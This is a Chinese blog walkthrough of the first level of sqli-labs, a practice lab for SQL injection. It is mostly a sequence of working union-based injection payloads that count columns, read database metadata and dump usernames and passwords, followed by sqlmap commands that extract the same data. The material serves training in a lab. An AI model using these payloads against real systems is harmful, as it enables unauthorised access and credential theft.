zoukankan      html  css  js  c++  java
  • sqli-labs 第一关

    一。

    先判断是否为字符型注入,尝试?id=1'

     发现有报错,此题为字符型注入

    拼接字符串?id=1' and  '1'='1 

     回显正常

    然后我们用order by 来确定表中的列数,使用union

    联合查询特点:

    1、要求多条查询语句的查询列数是一致的!
    2、要求多条查询语句的查询的每一列的类型和顺序最好一致
    3、union关键字默认去重,如果使用union all 可以包含重复项

    于是我们构造?id=1' and '1'='1' order by 1--+  页面回显正常

          ?id=1' and '1'='1' order by 2--+  页面回显正常

          ?id=1' and '1'='1' order by 3--+  页面回显正常

          ?id=1' and '1'='1' order by 4--+  出现报错界面

    于是确定了字段数,用联合查询?id=-1' union select 1,2,3--+  (将id弄成一个负数的值,用报错的方式显示显示位)看union的查询有没有回显位。

     看到了2,3回显位

    然后我们利用union查询,查看数据库的版本和数据库名,这里面我们再补充点知识点

    version():查看数据库版本

    database():查看使用的数据库

    user():查看当前用户

    limit:limit子句分批来获取所有数据

    group_concat():一次性获取所有的数据库信息

    当我们简单了解了这个之后,我们再进行下面的步骤,相信大家有了深刻的理解

    接下来利用这两个回显位来查询数据库,和数据库版本信息

    ?id=-1' union select 1,database(),version()--+

    然后我们知道了数据库是security,版本信息:5.7.26

    再爆表之前我们先了解一波知识点:

    information_schema.tables:包含了数据库里所有的表

    table_name:表名

    table_schema:数据库名

    column_name:字段名

    然后我们利用union查询来爆出表名

    ?id=-1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database()--+

     于是我们看users表的字段名

    ?id=-1' union select 1,2,group_concat(column_name)from information_schema.columns where table_name='users'--+

    我们看到了username和password字段,

    然后我们就去查询字段信息

    ?id=-1' union select 1,2,group_concat(0x5c,username,0x5c,password) from users--+

     

    二。

    sqlmap

    --dbs:是查看所有的数据库

    --tables:是查看所有的表

    --columns:是查看表中所有的字段名

    --dump:是查询哪个表的数据

    因为我们已经知道了注入点的位置,于是我们直接用sqlmap跑

    命令:python sqlmap.py -u "有注入点的url" --dbs

    我们看到了security 数据库,然后我们开始爆表

    命令:python sqlmap.py -u "有注入点的url"  -D security --tables

     爆出来4个表,爆users 的字段名

    命令:python sqlmap.py -u "有注入点的url" -D security -T users --columns

     然后就可以爆信息了

    命令:python sqlmap.py -u "有注入点的url" -D security -T users -C "id,username,password" --dump

     爆出信息

  • 相关阅读:
    变量与基本数据类型的练习
    04-各数据类型的常用操作
    常用函数
    03-python流程控制
    02-Python输入输出及运算符
    02-补充:逻辑运算符
    线程
    tcp实现并发效果
    生产消费者作业
    作业4.22
  • 原文地址:https://www.cnblogs.com/tac2664/p/13772176.html
Copyright © 2011-2022 走看看